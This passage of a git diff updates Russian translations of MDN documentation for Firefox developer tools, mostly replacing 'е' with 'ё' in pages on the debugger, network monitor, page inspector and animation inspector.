lang="ru"><span>Вы можете посмотреть, как структурирована ваша страница, чтобы понять, стоит ли её оптимизировать.</span></span></li> <li><strong>Ну и ... это шщ-и-и-и-и-и-карно</strong>.</li> </ul> diff --git a/files/ru/tools/accessibility_inspector/index.html b/files/ru/tools/accessibility_inspector/index.html index 52c20f411a..7dc539fd14 100644 --- a/files/ru/tools/accessibility_inspector/index.html +++ b/files/ru/tools/accessibility_inspector/index.html @@ -14,7 +14,7 @@ original_slug: Tools/Инспектор_доступности <p>Здесь мы в основном говорим о том, чтобы донести информацию людям с нарушениями зрения - это делается с помощью <a href="https://www.smashingmagazine.com/2015/03/web-accessibility-with-accessibility-api/">API доступности</a>, доступных внутри веб-браузеров, которые раскрывают информацию о том, какие роли играют разные элементы на вашей странице (например, они являются текстом или кнопками, ссылками, элементами форм и т. д.?).</p> -<p>Семантические элементы DOM имеют роли, назначенные им по умолчанию, которые имеют свое предназначение. Иногда приходится использовать некоторую не семантическую разметку (например, {{htmlelement ("div")}}) для создания сложного настраиваемого элемента управления, а элемент управления не будет иметь роль по умолчанию, которая отражает его назначение. В такой ситуации вы можете использовать атрибуты роли WAI-ARIA для обозначения своих собственных ролей.</p> +<p>Семантические элементы DOM имеют роли, назначенные им по умолчанию, которые имеют своё предназначение. Иногда приходится использовать некоторую не семантическую разметку (например, {{htmlelement ("div")}}) для создания сложного настраиваемого элемента управления, а элемент управления не будет иметь роль по умолчанию, которая отражает его назначение. В такой ситуации вы можете использовать атрибуты роли WAI-ARIA для обозначения своих собственных ролей.</p> <p>Роли и другая информация, предоставляемая API-интерфейсами браузера, представлена в иерархической структуре, называемой деревом доступности. Это немного похоже на дерево DOM, за исключением того, что оно содержит более ограниченный набор элементов и немного другую информацию о них.</p> diff --git a/files/ru/tools/debugger/index.html b/files/ru/tools/debugger/index.html index 2ff61ab577..14ba440f2a 100644 --- a/files/ru/tools/debugger/index.html +++ b/files/ru/tools/debugger/index.html @@ -13,7 +13,7 @@ translation_of: Tools/Debugger --- <div>{{ToolsSidebar}}</div><p>Отладчик<span id="result_box" lang="ru"><span> JavaScript</span> <span class="hps">позволяет</span> пройтись по <span class="hps">JavaScript-коду,</span> <span class="hps">исследовать и</span> <span class="hps">изменить</span> <span class="hps">его состояние</span><span>, что поможет выявить </span><span class="hps">ошибки в программе.</span></span></p> -<p><span id="result_box" lang="ru"><span class="hps">Вы можете использовать его</span> <span class="hps">для отладки</span> <span class="hps">кода, выполняемого</span> <span class="hps">локально в</span> <span class="hps">Firefox</span> <span class="hps">или работающем </span><span class="hps">удаленно,</span> <span class="hps">например, в</span> <span class="hps">устройстве</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">или</span> <span class="hps">Firefox</span> <span class="hps">на</span> <span class="hps">Android.</span> Изучите </span><a href="/en-US/docs/Tools/Remote_Debugging">Отладка удалённых скриптов </a><span id="result_box" lang="ru"><span class="hps">чтобы узнать, как</span> <span class="hps">подключить к ним</span> <span class="hps">отладчик</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Вы можете использовать его</span> <span class="hps">для отладки</span> <span class="hps">кода, выполняемого</span> <span class="hps">локально в</span> <span class="hps">Firefox</span> <span class="hps">или работающем </span><span class="hps">удалённо,</span> <span class="hps">например, в</span> <span class="hps">устройстве</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">или</span> <span class="hps">Firefox</span> <span class="hps">на</span> <span class="hps">Android.</span> Изучите </span><a href="/en-US/docs/Tools/Remote_Debugging">Отладка удалённых скриптов </a><span id="result_box" lang="ru"><span class="hps">чтобы узнать, как</span> <span class="hps">подключить к ним</span> <span class="hps">отладчик</span><span>.</span></span></p> <p>{{EmbedYouTube("sK8KU8oiF8s")}}</p> diff --git a/files/ru/tools/debugger/source_map_errors/index.html b/files/ru/tools/debugger/source_map_errors/index.html index 40dc3098d3..0cc0e25ef2 100644 --- a/files/ru/tools/debugger/source_map_errors/index.html +++ b/files/ru/tools/debugger/source_map_errors/index.html @@ -5,13 +5,13 @@ translation_of: Tools/Debugger/Source_map_errors --- <p>{{ToolsSidebar}}</p> -<p class="summary"><span id="result_box" lang="ru"><span>Исходные карты - это файлы JSON, обеспечивающие возможность связать преобразованные источники, как видно из браузера, с их исходными источниками, как написано разработчиком.</span> <span>Иногда вы можете столкнуться с проблемами, связанными с исходными картами.</span> <span>На этой странице объясняются наиболее распространенные проблемы и способы их устранения.</span></span></p> +<p class="summary"><span id="result_box" lang="ru"><span>Исходные карты - это файлы JSON, обеспечивающие возможность связать преобразованные источники, как видно из браузера, с их исходными источниками, как написано разработчиком.</span> <span>Иногда вы можете столкнуться с проблемами, связанными с исходными картами.</span> <span>На этой странице объясняются наиболее распространённые проблемы и способы их устранения.</span></span></p> <div class="note"> <p><span id="result_box" lang="ru"><span>Примечание. Если вы новичок в исходных картах, вы можете узнать больше о них в разделе </span></span><a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map"><span lang="ru"><span>Use_a_source_map</span></span></a></p> </div> -<h2 id="Общий_отчет_об_ошибках_исходной_карты"><span class="short_text" id="result_box" lang="ru"><span>Общий отчет об ошибках исходной карты</span></span></h2> +<h2 id="Общий_отчёт_об_ошибках_исходной_карты"><span class="short_text" id="result_box" lang="ru"><span>Общий отчёт об ошибках исходной карты</span></span></h2> <p><span id="result_box" lang="ru"><span>Если вы видите проблему, на веб-консоли появится сообщение.Это сообщение покажет сообщение об ошибке, URL-адрес ресурса и URL-адрес исходной карты:</span></span></p> diff --git a/files/ru/tools/index.html b/files/ru/tools/index.html index 92f2c54bfd..2310ea29f7 100644 --- a/files/ru/tools/index.html +++ b/files/ru/tools/index.html @@ -37,7 +37,7 @@ translation_of: Tools </tr> <tr> <td><img alt="" src="https://mdn.mozillademos.org/files/16088/camera_button.png" style="max-width: 32px;"></td> - <td>Щелчок по данной кнопке создает снимок экрана (screenshot) текущей страницы. (<strong>Внимание:</strong> По умолчанию данная функция отключена и, при необходимости, должна быть включена в настройках.)</td> + <td>Щелчок по данной кнопке создаёт снимок экрана (screenshot) текущей страницы. (<strong>Внимание:</strong> По умолчанию данная функция отключена и, при необходимости, должна быть включена в настройках.)</td> </tr> <tr> <td><img alt="" src="https://mdn.mozillademos.org/files/16089/responsive_button.png" style="max-width: 32px;"></td> @@ -139,14 +139,14 @@ translation_of: Tools <dt><a href="/en-US/docs/Tools/Web_Audio_Editor">Редактор веб аудио </a></dt> <dd><span class="tlid-translation translation" lang="ru"><span title="">Изучите график аудиоузлов в аудиоконтексте и измените их параметры.</span></span></dd> <dt><a href="/en-US/docs/Tools/Screenshot_tool">Делать скриншоты</a></dt> - <dd>Сделайте скриншот всей страницы, или одного ее элемента.</dd> + <dd>Сделайте скриншот всей страницы, или одного её элемента.</dd> </dl> </div> <hr> <h2 id="Подключение_инструментов_разработчика"><span class="tlid-translation translation" lang="ru"><span title="">Подключение инструментов разработчика</span></span></h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Если вы откроете инструменты разработчика с помощью</span></span> <a href="/en-US/docs/Tools/Keyboard_shortcuts#Opening_and_closing_tools">сочетания клавиш</a> <span class="tlid-translation translation" lang="ru"><span title="">или аналогичных пунктов меню, они будут нацелены на документ, размещенный на текущей активной вкладке.</span> <span title="">Но вы также можете прикрепить инструменты к множеству других целей, как в текущем браузере, так и в разных браузерах или даже на разных устройствах.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Если вы откроете инструменты разработчика с помощью</span></span> <a href="/en-US/docs/Tools/Keyboard_shortcuts#Opening_and_closing_tools">сочетания клавиш</a> <span class="tlid-translation translation" lang="ru"><span title="">или аналогичных пунктов меню, они будут нацелены на документ, размещённый на текущей активной вкладке.</span> <span title="">Но вы также можете прикрепить инструменты к множеству других целей, как в текущем браузере, так и в разных браузерах или даже на разных устройствах.</span></span></p> <div class="twocolumns"> <dl> @@ -176,7 +176,7 @@ translation_of: Tools <h2 id="Расширение_инструментов_разработчика">Расширение инструментов разработчика</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Инструменты разработчика предназначены для расширения.</span> <span title="">Дополнения Firefox могут получить доступ к инструментам разработчика и компонентам, которые они используют для расширения существующих инструментов и добавления новых инструментов.</span> <span title="">С помощью протокола удаленной отладки вы можете реализовать свои собственные клиенты и серверы отладки, что позволяет отлаживать веб-сайты с помощью собственных инструментов или отлаживать различные цели с помощью инструментов Firefox.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Инструменты разработчика предназначены для расширения.</span> <span title="">Дополнения Firefox могут получить доступ к инструментам разработчика и компонентам, которые они используют для расширения существующих инструментов и добавления новых инструментов.</span> <span title="">С помощью протокола удалённой отладки вы можете реализовать свои собственные клиенты и серверы отладки, что позволяет отлаживать веб-сайты с помощью собственных инструментов или отлаживать различные цели с помощью инструментов Firefox.</span></span></p> <div class="twocolumns"> <dl> diff --git a/files/ru/tools/network_monitor/index.html b/files/ru/tools/network_monitor/index.html index 082d35be00..3d3db1dc5a 100644 --- a/files/ru/tools/network_monitor/index.html +++ b/files/ru/tools/network_monitor/index.html @@ -88,7 +88,7 @@ translation_of: Tools/Network_Monitor <p>Начиная с Firefox 55, вы можете выбирать разные колонки, кликая правой кнопкой мыши на заголовок таблицы, а затем выбирая нужные колонки в выпадающем меню. Опция "Восстановить колонки" доступна для сброса списка колонок к исходному варианту. Список колонок:</p> <ul> - <li><strong>Статус (</strong><strong>Status</strong><strong>)</strong>: возвращенный HTTP-код статуса. Здесь есть цветной значок: + <li><strong>Статус (</strong><strong>Status</strong><strong>)</strong>: возвращённый HTTP-код статуса. Здесь есть цветной значок: <ul> <li><img alt="" src="https://mdn.mozillademos.org/files/13136/1x.png" style="height: 17px; width: 17px;">синий круг - для информационных кодов (коды 1XX). В частности включает код 101 (переключение протоколов) для <a href="/ru/docs/Web/API/WebSocket">WebSocket</a>-переключения.</li> @@ -97,7 +97,7 @@ translation_of: Tools/Network_Monitor <li><img alt="" src="https://mdn.mozillademos.org/files/10943/4-500.png" style="height: 17px; width: 17px;"> красный квадрат - для ошибок (4XX и 5XX)</li> <li><img alt="" src="https://mdn.mozillademos.org/files/10947/cached.png" style="height: 17px; width: 17px;"> серая окружность - для ответов, которые получены из кэша браузера.</li> </ul> - Точный код отображен сразу после значка.</li> + Точный код отображён сразу после значка.</li> <li><strong>Метод (</strong><strong>Method</strong><strong>)</strong>: <a href="/ru/docs/Web/HTTP/Methods">HTTP-метод</a> запроса.</li> <li><strong>Файл (</strong><strong>File</strong><strong>)</strong>: базовое имя запрошенного файла.</li> <li><strong>Протокол</strong> (<strong>Protocol</strong>): Используемый сетевой протокол. (По умолчанию скрытая колонка. Новая в Firefox 55)</li> @@ -459,7 +459,7 @@ translation_of: Tools/Network_Monitor <p>Новое в Firefox 54</p> </div> -<p>Кроме того, каждый заголовок это ссылка для углубленного изучения <a href="/en-US/docs/Web/HTTP/Headers">документации заголовков HTTP</a>.</p> +<p>Кроме того, каждый заголовок это ссылка для углублённого изучения <a href="/en-US/docs/Web/HTTP/Headers">документации заголовков HTTP</a>.</p> <h3 id="Куки_Cookies">Куки <em>(Cookies)</em></h3> diff --git a/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html b/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html index 5e0e030b97..af51af53df 100644 --- a/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html +++ b/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html @@ -11,7 +11,7 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes --- <p>{{ToolsSidebar}}</p> -<p class="summary">The Shape Path Editor - <span id="result_box" lang="ru"><span>это инструмент, который поможет вам увидеть и редактировать фигуры, созданные с помощью {{cssxref ("clip-path")}}, а также свойство CSS {{cssxref ("shape-outside")}} и {{cssxref ("<basic-shape>")}}. В этом руководстве вы найдете все доступные варианты.</span></span></p> +<p class="summary">The Shape Path Editor - <span id="result_box" lang="ru"><span>это инструмент, который поможет вам увидеть и редактировать фигуры, созданные с помощью {{cssxref ("clip-path")}}, а также свойство CSS {{cssxref ("shape-outside")}} и {{cssxref ("<basic-shape>")}}. В этом руководстве вы найдёте все доступные варианты.</span></span></p> <h2 id="Активация_деактивация_Shape_Path_Editor">Активация / деактивация Shape Path Editor</h2> @@ -23,14 +23,14 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes <p><img alt="" src="https://mdn.mozillademos.org/files/15916/circle.png" style="height: 686px; width: 1210px;"></p> -<p><span id="result_box" lang="ru"><span>Чтобы отключить </span></span>Shape Path Editor<span lang="ru"><span>, щелкните по иконке еще раз или выберите другой элемент или другой редактор.</span> <span>Обратите внимание, что </span></span>Shape Path Editor<span lang="ru"><span> не сохраняется между перезагрузкой страницы - если вы перезагрузите страницу, вам нужно будет снова выбрать элемент.</span></span></p> +<p><span id="result_box" lang="ru"><span>Чтобы отключить </span></span>Shape Path Editor<span lang="ru"><span>, щёлкните по иконке ещё раз или выберите другой элемент или другой редактор.</span> <span>Обратите внимание, что </span></span>Shape Path Editor<span lang="ru"><span> не сохраняется между перезагрузкой страницы - если вы перезагрузите страницу, вам нужно будет снова выбрать элемент.</span></span></p> <h2 id="Понимание_строк_нарисованных_редактором"><span class="short_text" id="result_box" lang="ru"><span>Понимание строк, нарисованных редактором</span></span></h2> <p><span id="result_box" lang="ru"><span>После того, как вы выбрали фигуру на своей странице, редактор путей будет рисовать линии, которые помогут вам понять путь, который создается.</span></span></p> <ul> - <li><strong>Сплошная линия</strong><span lang="ru"><span> показывает контур фигуры, которая обертывает текст.</span> <span>Это ваша форма.</span> <span>Если форма обрезается по </span></span>margin box<span lang="ru"><span>, то </span></span>margin box<span lang="ru"><span> будет составлять часть этой строки.</span></span></li> + <li><strong>Сплошная линия</strong><span lang="ru"><span> показывает контур фигуры, которая обёртывает текст.</span> <span>Это ваша форма.</span> <span>Если форма обрезается по </span></span>margin box<span lang="ru"><span>, то </span></span>margin box<span lang="ru"><span> будет составлять часть этой строки.</span></span></li> <li><span id="result_box" lang="ru"><span><strong>Пунктирная линия</strong> демонстрирует контур формы, которая проходит мимо ссылки </span></span>margin box<span lang="ru"><span>;</span></span> <span id="result_box" lang="ru"><span>это область, которая будет обрезана по </span></span>margin box. <span id="result_box" lang="ru"><span>Чтобы понять </span></span>margin box<span lang="ru"><span> и другие поля, используемые формулой CSS, см.</span></span> <a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values">Shapes from box values</a>.</li> </ul> @@ -42,11 +42,11 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes <h3 id="circle()">circle()</h3> -<p><span id="result_box" lang="ru"><span>Если значение</span></span> <code>shape-outside</code> <span id="result_box" lang="ru"><span>равно</span></span> <code>circle()</code>, значит <span id="result_box" lang="ru"><span>вы создаете </span></span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes#circle()">circle basic shape</a>. <span id="result_box" lang="ru"><span>При нажатии на иконку формы рядом со значением</span></span> <code>circle()</code> <span id="result_box" lang="ru"><span>будет выделена фигура, а также вы можете изменить размер круга или перемещать его центр.</span></span> <span id="result_box" lang="ru"><span>Если вы перемещаете или изменяете размер круга за пределами поля, края становятся обрезаны им.</span></span></p> +<p><span id="result_box" lang="ru"><span>Если значение</span></span> <code>shape-outside</code> <span id="result_box" lang="ru"><span>равно</span></span> <code>circle()</code>, значит <span id="result_box" lang="ru"><span>вы создаёте </span></span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes#circle()">circle basic shape</a>. <span id="result_box" lang="ru"><span>При нажатии на иконку формы рядом со значением</span></span> <code>circle()</code> <span id="result_box" lang="ru"><span>будет выделена фигура, а также вы можете изменить размер круга или перемещать его центр.</span></span> <span id="result_box" lang="ru"><span>Если вы перемещаете или изменяете размер круга за пределами поля, края становятся обрезаны им.</span></span></p> <p><img alt="" src="https://mdn.mozillademos.org/files/15917/clipped-margin-box.png" style="height: 692px; width: 1290px;"></p> -<p><span id="result_box" lang="ru"><span>В панели правил вы можете увидеть значения для</span></span> <code>circle()</code> <span id="result_box" lang="ru"><span>при изменении формы.</span> <span>Затем вы можете скопировать эти значения обратно в таблицу стилей, чтобы создать новый, измененный путь формы.</span></span></p> +<p><span id="result_box" lang="ru"><span>В панели правил вы можете увидеть значения для</span></span> <code>circle()</code> <span id="result_box" lang="ru"><span>при изменении формы.</span> <span>Затем вы можете скопировать эти значения обратно в таблицу стилей, чтобы создать новый, изменённый путь формы.</span></span></p> <h3 id="ellipse()">ellipse()</h3> @@ -64,23 +64,23 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes <h3 id="polygon()">polygon()</h3> -<p><span id="result_box" lang="ru"><span>Если значение</span></span> <code>shape-outside</code> <span id="result_box" lang="ru"><span>равно</span></span> <code>polygon()</code><span id="result_box" lang="ru"><span>, значит вы используете</span></span> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes#polygon()">polygon basic shape</a>. <span id="result_box" lang="ru"><span>Это самый сложный из основных значений формы, поэтому инструмент дает вам больше возможностей при их редактировании:</span></span></p> +<p><span id="result_box" lang="ru"><span>Если значение</span></span> <code>shape-outside</code> <span id="result_box" lang="ru"><span>равно</span></span> <code>polygon()</code><span id="result_box" lang="ru"><span>, значит вы используете</span></span> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes#polygon()">polygon basic shape</a>. <span id="result_box" lang="ru"><span>Это самый сложный из основных значений формы, поэтому инструмент даёт вам больше возможностей при их редактировании:</span></span></p> <ul> - <li><span id="result_box" lang="ru"><span>Нажатие на значок формы активирует </span></span> Shapes Path Editor <span lang="ru"><span> и дает вам возможность перемещать любую из точек вашей фигуры многоугольника.</span></span></li> - <li><span id="result_box" lang="ru"><span>Дважды щелкните в любом месте линии формы, и вы получите новую точку для настройки.</span></span></li> - <li><span id="result_box" lang="ru"><span>Дважды щелкните по существующей точке, и она будет удалена.</span></span> <em>Помните, что многоугольник должен содержать не менее трех точек.</em></li> + <li><span id="result_box" lang="ru"><span>Нажатие на значок формы активирует </span></span> Shapes Path Editor <span lang="ru"><span> и даёт вам возможность перемещать любую из точек вашей фигуры многоугольника.</span></span></li> + <li><span id="result_box" lang="ru"><span>Дважды щёлкните в любом месте линии формы, и вы получите новую точку для настройки.</span></span></li> + <li><span id="result_box" lang="ru"><span>Дважды щёлкните по существующей точке, и она будет удалена.</span></span> <em>Помните, что многоугольник должен содержать не менее трёх точек.</em></li> </ul> <p><img alt="" src="https://mdn.mozillademos.org/files/15918/polygon-edit.png" style="height: 660px; width: 1260px;"></p> <h3 id="Перемещение_и_масштабирование_фигур"><span class="short_text" id="result_box" lang="ru"><span>Перемещение и масштабирование фигур</span></span></h3> -<p><span id="result_box" lang="ru"><span>Есть дополнительные функциональные возможности, доступные на выделенной фигуре - если вы нажмете</span></span> <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <span id="result_box" lang="ru"><span>щелчок на значок фигуры для своей фигуры, подсветка изменится, вместо этого будет возможность масштабировать и / или перемещать ее.</span></span> <span id="result_box" lang="ru"><span>Еще раз, произойдет отсечение, если вы превысите границы</span></span> margin box.</p> +<p><span id="result_box" lang="ru"><span>Есть дополнительные функциональные возможности, доступные на выделенной фигуре - если вы нажмёте</span></span> <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <span id="result_box" lang="ru"><span>щелчок на значок фигуры для своей фигуры, подсветка изменится, вместо этого будет возможность масштабировать и / или перемещать ее.</span></span> <span id="result_box" lang="ru"><span>Ещё раз, произойдёт отсечение, если вы превысите границы</span></span> margin box.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/15924/scaled-circle.png"></p> -<p>Если ваша форма является многоугольником, вы также получаете возможность вращать ее вокруг оси.</p> +<p>Если ваша форма является многоугольником, вы также получаете возможность вращать её вокруг оси.</p> <h2 id="Поддержка_браузера"><span class="short_text" id="result_box" lang="ru"><span>Поддержка браузера</span></span></h2> diff --git a/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html index 12eae4fb72..8b8aa492ed 100644 --- a/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html +++ b/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html @@ -15,7 +15,7 @@ translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS <p>В списке правил так же будут отображены и стили браузера <a href="/en-US/docs/Web/CSS/Cascade">(user-agent styles)</a>, если данная опция выставлена в настройках панели разработчика <a href="/en-US/docs/Tools/Tools_Toolbox#Settings_2">(developer tool settings)</a>. Заметьте, эта опция не зависит от опции "Browser styles" вкладки <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">Computed view</a>.</p> -<p>Начиная с Firefox 44 и выше, на панеле Rules отображаются все авторские стили, включая те, которые не поддерживаются или содержат ошибки. Это может помочь вам понять, почему определенные стили не применяются:</p> +<p>Начиная с Firefox 44 и выше, на панеле Rules отображаются все авторские стили, включая те, которые не поддерживаются или содержат ошибки. Это может помочь вам понять, почему определённые стили не применяются:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/12189/css-as-authored.png" style="display: block; height: 357px; margin-left: auto; margin-right: auto; width: 588px;"></p> diff --git a/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html b/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html index 089956c916..86763462f5 100644 --- a/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html +++ b/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html @@ -15,7 +15,7 @@ original_slug: Tools/Page_Inspector/How_to/Исследовать_event_listener <p>Нажмите на иконку, затем вы увидите всплывающее окно со списком всех Event Listeners, связанных с этим элементом:<img alt="" src="https://mdn.mozillademos.org/files/9953/ev-popup.png" style="display: block; margin-left: auto; margin-right: auto; width: 628px;">Каждая строка содержит:</p> <ul> - <li>кнопка паузы: щелкните на нее, чтобы перейти к "event Listener" в <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger">Отладчик</a>, где вы сможете установить контрольную точку в нем</li> + <li>кнопка паузы: щёлкните на неё, чтобы перейти к "event Listener" в <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger">Отладчик</a>, где вы сможете установить контрольную точку в нем</li> <li>название события</li> <li>название и номер строки обработчика: нажмите, чтобы увидеть функцию обработчика во всплывающем окне</li> <li>метка, указывающая, является ли событие всплывающим</li> diff --git a/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html b/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html index 3b94b74f0f..d5b2bfa5cc 100644 --- a/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html +++ b/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html @@ -19,7 +19,7 @@ translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors <p>{{EmbedYouTube("0Zx1TN21QOo", "16:9")}}</p> -<p>Начиная с Firefox 40, для изменения формата отображения цвета надо, удерживая кнопку Shift, щелкнуть на образце цвета кнопкой мыши.</p> +<p>Начиная с Firefox 40, для изменения формата отображения цвета надо, удерживая кнопку Shift, щёлкнуть на образце цвета кнопкой мыши.</p> <p>{{EmbedYouTube("gYL8-gxc1MA")}}</p> diff --git a/files/ru/tools/page_inspector/how_to/work_with_animations/index.html b/files/ru/tools/page_inspector/how_to/work_with_animations/index.html index d5c3c50b6b..7daa747e12 100644 --- a/files/ru/tools/page_inspector/how_to/work_with_animations/index.html +++ b/files/ru/tools/page_inspector/how_to/work_with_animations/index.html @@ -16,7 +16,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations <p>Когда вы <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">create a CSS animation</a> вы можете задать <a href="/en-US/docs/Web/CSS/animation-timing-function">timing function</a>: <span id="result_box" lang="ru"><span>это</span> <span>определяет скорость</span><span>, с которой анимация</span> <span>прогрессирует</span><span>.</span> <span>Один из способов</span> <span>определить функцию</span> <span>является синхронизация</span> <span>с кубической</span> <span>кривой Безье</span><span>.</span></span></p> -<p><span id="result_box" lang="ru"><span>Временные</span> <span>функции</span><span>, определенные как</span> <span>кубические</span> <span>кривые</span> <span>Безье</span> <span>получают</span> <span>значок</span> <span>в правилах</span> <span>просмотра.</span> <span>При нажатии на</span> <span>иконку</span> <span>вы получаете</span> <span>визуальный редактор для</span> <span>кривой</span><span>, что позволяет</span> <span>перетащить</span></span> <a href="/en-US/docs/Web/CSS/timing-function#The_cubic-bezier()_class_of_timing-functions">P1 and P2</a>, и увидеть результат на странице:</p> +<p><span id="result_box" lang="ru"><span>Временные</span> <span>функции</span><span>, определённые как</span> <span>кубические</span> <span>кривые</span> <span>Безье</span> <span>получают</span> <span>значок</span> <span>в правилах</span> <span>просмотра.</span> <span>При нажатии на</span> <span>иконку</span> <span>вы получаете</span> <span>визуальный редактор для</span> <span>кривой</span><span>, что позволяет</span> <span>перетащить</span></span> <a href="/en-US/docs/Web/CSS/timing-function#The_cubic-bezier()_class_of_timing-functions">P1 and P2</a>, и увидеть результат на странице:</p> <p>{{EmbedYouTube("GW5-R2ewaqA")}}</p> @@ -33,21 +33,21 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations <h2 id="Инспектор_Анимации">Инспектор Анимации</h2> <div class="note"> -<p><span id="result_box" lang="ru"><span>Хотя этот инструмент</span> <span>был введен в</span> <span>Firefox</span> <span>41</span><span>,</span> <span>его</span> <span>пользовательский интерфейс</span> <span>был</span> <span>переделан</span> <span>в</span> <span>Firefox</span> <span>43.</span> <span>В данной статье описывается</span> <span>инспектор анимации</span><span> появившийся в</span> <span>Firefox</span> <span>43 и</span> <span>последующих выпусках.</span> <span>Если вы</span> <span>хотите увидеть, как</span> <span>инспектор анимации</span> <span>выглядит в</span> <span>Firefox</span> <span>41 и 42</span> <span>см</span></span> <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_(Firefox_41_and_42)">this separate page</a>.</p> +<p><span id="result_box" lang="ru"><span>Хотя этот инструмент</span> <span>был введён в</span> <span>Firefox</span> <span>41</span><span>,</span> <span>его</span> <span>пользовательский интерфейс</span> <span>был</span> <span>переделан</span> <span>в</span> <span>Firefox</span> <span>43.</span> <span>В данной статье описывается</span> <span>инспектор анимации</span><span> появившийся в</span> <span>Firefox</span> <span>43 и</span> <span>последующих выпусках.</span> <span>Если вы</span> <span>хотите увидеть, как</span> <span>инспектор анимации</span> <span>выглядит в</span> <span>Firefox</span> <span>41 и 42</span> <span>см</span></span> <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_(Firefox_41_and_42)">this separate page</a>.</p> </div> <p>Из Firefox 41, Инспектор страниц включил в себя <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Animations_view">extra view labeled "Animations"</a>.</p> <p> Этот вид <span id="result_box" lang="ru"><span>отображает как</span> <span>CSS</span> <span>переходы и</span> <span>CSS</span> <span>анимации</span> <span>синхронизированы</span> <span>по</span> <span>шкале времени</span><span>,</span> <span>перетаскивая</span> <span>виджет вы</span> <span>можете использовать для</span> <span>перемещения любую точку</span> <span>на временной шкале</span> <span>и увидеть</span> <span>страницу</span> <span>в этой точке.</span></span></p> -<p><span id="result_box" lang="ru"><span>Чтобы увидеть, как</span> <span>это работает,</span> <span>мы</span> <span>разберем пример</span><span>.</span> <span>Раздел данный ниже</span> <span>содержит три</span> серые <span>иконки</span><span>,</span> <span>каждая из которых представляет</span> <span>разные</span></span> <a href="https://www.mozilla.org/en-US/firefox/channel/">Firefox channel</a>. <span id="result_box" lang="ru"><span>Если щелкнуть</span> <span>значок</span><span>, он</span> <span>увеличивается</span> <span>изменения</span> <span>цвет</span><span>,</span> <span>и</span> <span>на экране отображается название</span> <span>канала</span><span>.</span> <span>Нажмите на</span> <span>значок еще раз</span><span>, чтобы изменить</span> <span>эффект</span><span>.</span> <span>Эти анимации</span> <span>сделаны</span> <span>путем применения</span> <span>переходов</span> <span>к нескольким</span> <span>свойствам</span> <span>CSS</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span>Чтобы увидеть, как</span> <span>это работает,</span> <span>мы</span> <span>разберём пример</span><span>.</span> <span>Раздел данный ниже</span> <span>содержит три</span> серые <span>иконки</span><span>,</span> <span>каждая из которых представляет</span> <span>разные</span></span> <a href="https://www.mozilla.org/en-US/firefox/channel/">Firefox channel</a>. <span id="result_box" lang="ru"><span>Если щёлкнуть</span> <span>значок</span><span>, он</span> <span>увеличивается</span> <span>изменения</span> <span>цвет</span><span>,</span> <span>и</span> <span>на экране отображается название</span> <span>канала</span><span>.</span> <span>Нажмите на</span> <span>значок ещё раз</span><span>, чтобы изменить</span> <span>эффект</span><span>.</span> <span>Эти анимации</span> <span>сделаны</span> <span>путём применения</span> <span>переходов</span> <span>к нескольким</span> <span>свойствам</span> <span>CSS</span><span>.</span></span></p> <p>{{ EmbedLiveSample('firefox-logo-animation', 500, 250, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animations_examples") }}</p> <p><span id="result_box" lang="ru"><span>Давайте использовать</span> <span>инспектор анимации</span><span>, чтобы увидеть</span><span>, что происходит на данном</span><span> примере</span><span>.</span></span></p> <ul> - <li><span id="result_box" lang="ru"><span>Используйте Firefox</span> <span>43</span> <span>или более позднюю версию</span><span>,</span> <span>щелкните правой кнопкой мыши</span> <span>один из значков</span> <span>и выберите пункт "</span><span>Проверить</span> <span>элемент"</span><span>.</span></span></li> + <li><span id="result_box" 